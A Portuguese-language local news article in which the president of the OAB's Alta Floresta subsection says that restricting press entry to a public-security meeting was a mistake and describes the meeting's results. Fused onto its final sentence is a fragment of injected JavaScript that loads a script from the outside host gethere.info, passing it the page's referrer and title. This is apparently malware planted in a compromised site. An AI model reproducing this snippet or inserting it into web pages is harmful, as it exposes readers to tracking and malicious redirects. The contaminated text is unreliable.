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Restrição à entrada da imprensa foi equivoco, explica presidente da OAB

DSC_0091Da Redação

O presidente da 8ª Subseção (de Alta Floresta) da Ordem dos Advogados do Brasil, Celso Reis de Oliveira afirmou à reportagem do O Diário, que “em nenhum momento” houve intenção em prejudicar o trabalho da imprensa ou de impedir a participação da sociedade no encontro com os dois representantes da pasta de segurança pública e da Justiça de Mato Grosso. Pelo aplicativo de WhatsApp, Celso explicou o impasse ao site Nativa News, que não conseguiu ter acesso ao auditório da OAB, “foi equivoco de quem estava na porta. Sempre dou publicidade aos eventos da OAB. A imprensa é sempre indispensável”, afirmou o advogado.

Quanto à participação da população, o advogado explicou que o auditório estava todo ocupado, “são 107 cadeiras e tinha mais umas 50 pessoas em pé. Não era uma audiência pública, mas uma reunião que foi planejada com antecedência com o objetivo de discutir pautas que vinham sendo preparadas junto ao Conselho Municipal de Segurança, com base nas reclamações da própria sociedade”, explicou. A decisão de restringir a entrada de mais gente, segundo Celso Reis, foi para não causar tumulto e dar agilidade para as discussões, “nós não queríamos perder o foco”.

Antes da fala das duas autoridades máximas presentes à reunião, fizeram uso da palavra, juízes, promotores, o prefeito Asiel Bezerra, o deputado estadual Romoaldo Junior e o próprio presidente da OAB, todos elevando o tom de cobrança do Estado no sentido de que sejam feitos investimentos pesados em segurança pública, como a implantação de vagas no sistema prisional e de vagas para menores infratores.

“Não avançou do jeito que queríamos, nós esperávamos uma postura mais incisiva dos secretários, mas conseguimos alguns avanços”, disse o presidente da OAB, explicando que nos próximos 30 dias serão intensificadas ações no sentido de conseguir modificar o plano decenal de investimentos para a segurança pública e incluir a construção de um centro de ressocialização para Alta Floresta. “É o primeiro passo, o segundo é incluir no Orçamento do Estado para o ano que vem, vamos continuar lutando”, afirmou.

Sobre a polemica das faixas que pediam a transferência do juiz Douglas Romão, o advogado se posicionou, “a OAB não pode apoiar medidas que não tenham base legal, não tem como a gente entrar numa campanha dessas”.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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